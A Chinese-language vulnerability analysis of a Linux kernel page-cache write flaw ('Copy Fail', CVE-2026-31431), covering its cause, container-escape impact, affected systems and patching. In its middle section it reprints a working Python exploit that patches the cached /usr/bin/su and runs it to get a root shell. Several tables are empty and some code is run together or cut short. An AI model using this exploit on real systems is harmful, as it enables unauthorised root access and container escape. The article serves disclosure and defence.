一、事件速览
2026 年 4 月,Google Project Zero 安全研究员 Seth Jenkins 披露了一个潜伏 8 年 的 Linux 内核高危漏洞——CVE-2026-31431,代号 "Copy Fail"。
一句话定性:
一个 2017 年引入的 AEAD 加密优化,让普通用户获得了对任意可读文件页缓存的可控写入能力——不碰磁盘、不留痕迹、穿透容器。
| |
| 7.8(高危) |
| 732 字节 Python 脚本 |
| 仅需本地普通用户权限 |
| 无需 |
| 零 |
二、漏洞原理:一个"原地优化"引发的灾难
2.1 背景:AEAD 加密与"原地"模式
AEAD(Authenticated Encryption with Associated Data)是一种同时保证机密性和完整性的加密模式,如 AES-GCM、AES-CCM。
2017 年,内核开发者为提升性能,在 authencesn 模板中引入了一个"原地"(in-place)优化——即假设源缓冲区和目标缓冲区指向同一块内存,避免额外的数据拷贝。
// 问题代码的核心逻辑(简化)// 当 in-place 标志被设置时:// src_buf == dst_buf(同一内存映射)// 解密时向 dst_buf 写入 seqno_lo(4 字节)memcpy(dst_buf, src_buf, len); // 假设原地操作// 实际上 dst_buf 可能是页缓存页面!
2.2 攻击链:四步击穿内核防线
Step 1:构造 AF_ALG 套接字
Linux 的 AF_ALG 套接字允许用户空间直接调用内核加密算法。攻击者创建一个 authencesn 类型的算法套接字。
Step 2:通过 splice() 将文件页缓存送入加密子系统
splice() 是 Linux 特有的零拷贝系统调用,可以直接将文件描述符的数据"拼接"到另一个文件描述符,不经过用户空间。
# 伪代码fd = open("/etc/passwd", "r") # 只读打开splice(fd, None, alg_sock, None, 4096, 0) # 页缓存页面进入加密子系统
关键点:splice() 传递的是页缓存页面的引用,而非数据拷贝。
Step 3:触发解密,实现页缓存写入
当 authencesn 算法执行解密时,由于 in-place 优化,它会向"目标缓冲区"写入 4 字节的 seqno_lo 数据——而这块内存恰好是 /etc/passwd 的页缓存页面。
结果:内存中的 /etc/passwd 被静默篡改,磁盘文件纹丝不动。
Step 4:触发 setuid 程序,加载被污染的页缓存
su # 或 sudo、passwd 等 setuid 程序# 程序加载 /etc/passwd 时,命中的是被篡改的页缓存# → 当前用户 UID 被识别为 0 → 获得 root shell
2.3 PoC 验证:732 字节的 Python 脚本
官方 PoC 已开源在 Theori 的 GitHub 仓库:
📎 https://github.com/theori-io/copy-fail-CVE-2026-31431
核心代码解析
#!/usr/bin/env python3import os as g, zlib, socket as sdef d(x): return bytes.fromhex(x)def c(f, t, c): # 1. 创建 AF_ALG 套接字,绑定 authencesn 算法 a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # 2. 设置算法参数(AAD 长度、密钥等) h = 279 # ALG_SET_KEY v = a.setsockopt v(h, 1, d('0800010000000010' + '0'*64)) # 设置密钥 v(h, 5, None, 4) # 设置 AAD 长度 # 3. 接受连接,构造加密请求 u, _ = a.accept() o = t + 4 i = d('00') # 4. 发送 AAD + 密文,通过 sendmsg 传递控制消息 u.sendmsg([b"A"*4 + c], [ (h, 3, i*4), # ALG_SET_OP = DECRYPT (h, 2, b'\x10' + i*19), # 设置 IV (h, 4, b'\x08' + i*3), # 设置 tag 长度 ], 32768) # 5. 通过 splice() 将 /usr/bin/su 的页缓存送入加密子系统 r, w = g.pipe() n = g.splice n(f, w, o, offset_src=0) # 文件 → pipe n(r, u.fileno(), o) # pipe → AF_ALG socket # 6. 触发解密,等待完成(即使失败也会写入页缓存) try: u.recv(8 + t) except: pass# 7. 打开目标 setuid 文件(只读)f = g.open("/usr/bin/su", 0)# 8. 解压预计算的 patch 数据(shellcode 偏移和写入内容)e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))# 9. 逐 4 字节 patch /usr/bin/su 的页缓存i = 0while i < len(e): c(f, i, e[i:i+4]) i += 4# 10. 执行被污染的 su,获得 root shellg.system("su")
PoC 执行效果
2.4 为什么它如此隐蔽?
| |
| 只改内存页缓存,磁盘完好 |
| 确定性利用,100% 成功 |
| 732 字节 Python,一次执行 |
| 绕过 AIDE、Tripwire 等所有磁盘校验 |
三、容器逃逸:打破 Namespace 的幻觉
3.1 页缓存:内核的"公共水池"
容器技术的核心假设之一是:Mount Namespace 隔离了文件系统视图。
但这个假设有一个致命盲区——页缓存是全局共享的。
┌─────────────────────────────────────────────┐│ 宿主机内核(共享页缓存) ││ ┌─────────────┐ ┌─────────────┐ ││ │ /etc/passwd │ ←→ │ 页缓存页面 │ ││ │ (磁盘) │ │ (内存) │ ││ └─────────────┘ └──────┬──────┘ ││ │ ││ ┌──────────────────┼────────────────┤│ │ │ ││ ┌──────▼──────┐ ┌─────▼──────┐ ││ │ 容器 A │ │ 容器 B │ ││ │ 只读挂载 │ │ 基础镜像 │ ││ │ /etc/passwd │ │ /usr/bin/sudo│ ││ └─────────────┘ └─────────────┘ │└─────────────────────────────────────────────┘
攻击场景:
1.容器 A(普通用户,无特权)利用 CVE-2026-31431 修改 /etc/passwd 的页缓存2.容器 B 或宿主机执行 su/sudo,加载的是同一份被污染的页缓存3.容器 B / 宿主机 的进程获得 root 权限
全程:
•❌ 不需要 CAP_SYS_ADMIN•❌ 不需要特权容器•❌ 不需要逃逸出 Mount Namespace•✅ 只需利用内核共享的页缓存
3.2 Kubernetes 集群的噩梦
在 Kubernetes 多租户环境中:
•多个 Pod 共享同一个节点内核•不同租户的 Pod 可能基于相同的基础镜像(如 ubuntu:22.04)•攻击者 Pod 可以静默投毒共享镜像的页缓存•其他租户的 Pod 新启动的进程可能命中污染页缓存 → 提权
这意味着:一个低权限的恶意容器,可以无需任何特权配置,在页缓存被回收前持续影响其他容器或宿主机,进而可能访问同一节点上所有 Pod 的网络、存储和 secrets。
时效性说明:
•页缓存污染不是永久性的,新进程可能重新从磁盘加载干净内容•但攻击者只需执行一次 PoC,即可在页缓存生命周期内(通常数分钟到数小时)持续构成威胁•直到页缓存被 LRU 回收、手动清空(drop_caches)或节点重启
四、影响范围:几乎全军覆没
4.1 受影响系统
| | |
| 20.04 / 22.04 / 24.04 LTS | |
| | |
| | |
| | |
| | |
| | |
4.2 国产信创系统影响评估
国产信创操作系统大多基于 Linux 内核二次开发,同样受此漏洞波及。
| | |
| 麒麟操作系统 | | |
| 统信 UOS | | |
| 欧拉 openEuler | | |
| 龙蜥 Anolis OS | | |
| 中科方德 | | |
| 深度 Deepin | | |
特别提醒:信创系统用户切勿直接升级主线内核,需等待厂商发布的认证补丁包,避免破坏系统合规认证。
4.3 为什么 8 年都没被发现?
1.代码审查盲区:"原地优化"在加密领域是常见做法,审查者未意识到与 splice() 组合的危险2.利用路径非直观:AF_ALG → splice → authencesn → 页缓存写入,跨多个子系统3.无磁盘痕迹:传统安全监控依赖文件完整性检查,对内存攻击无能为力4.无需竞争条件:确定性利用,不触发异常时序,难以被行为检测发现
五、修复与缓解
5.1 永久修复:升级内核
# Ubuntu/Debiansudo apt update && sudo apt upgrade linux-image-generic# RHEL/CentOSsudo yum update kernel# 重启生效sudo reboot
修复版本:
•Linux Kernel ≥ 6.18.22•Linux Kernel ≥ 6.19.12•Linux Kernel ≥ 7.0
5.2 临时缓解(无法立即重启)
# 禁用 algif_aead 内核模块(若编译为模块)echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.confsudo rmmod algif_aead 2>/dev/null || tru
禁用algif_aead影响范围排查
# 检查是否有进程使用 AF_ALGlsof 2>/dev/null | grep AF_ALG# 或使用 ss 命令ss -xa | grep alg# 快速验证系统是否可创建 AF_ALG socket(输出 VULNERABLE 则存在风险) s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('MODULE_AVAILABLE') print(f'MODULE_BLOCKED: {e}')
| | |
MODULE_BLOCKED | | |
MODULE_AVAILABLE | | |
MODULE_AVAILABLE | | ⚠️ 可临时禁用,但需确认无定时任务/服务会触发加载 |
CONFIG_CRYPTO_USER_API_AEAD=y | | |
| | |
⚠️ 注意:部分企业内核将 CONFIG_CRYPTO_USER_API_AEAD=y 编译进内核(非模块),此时无法通过卸载模块缓解,必须重启升级。
5.3 容器平台专项加固
| |
| 禁止容器内使用 splice() 或 AF_ALG 套接字 |
| |
| 监控异常的 splice() + AF_ALG 组合调用 |
| |
六、深度思考:内存安全的新战场
CVE-2026-31431 揭示了一个被长期忽视的攻击面——页缓存污染。
传统的安全模型假设:
•只读文件是安全的 ❌•磁盘完整性检查足够 ❌•Namespace 隔离了文件系统 ❌
Copy Fail 证明:内存中的页缓存是跨安全域的共享资源,在页缓存被回收前的窗口期内,对它的写入可以穿透所有上层隔离机制。
这不仅是 Linux 内核的问题,更是整个操作系统安全模型的警示:
当攻击者可以控制内核如何解释内存中的数据时,所有的访问控制都变成了纸糊的防线。
七、参考链接
http://www.openwall.com/lists/oss-security/2026/04/29/23
https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237 https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8 https://github.com/theori-io/copy-fail-CVE-2026-31431
本文仅供安全技术研究与防御参考,请勿用于非法用途。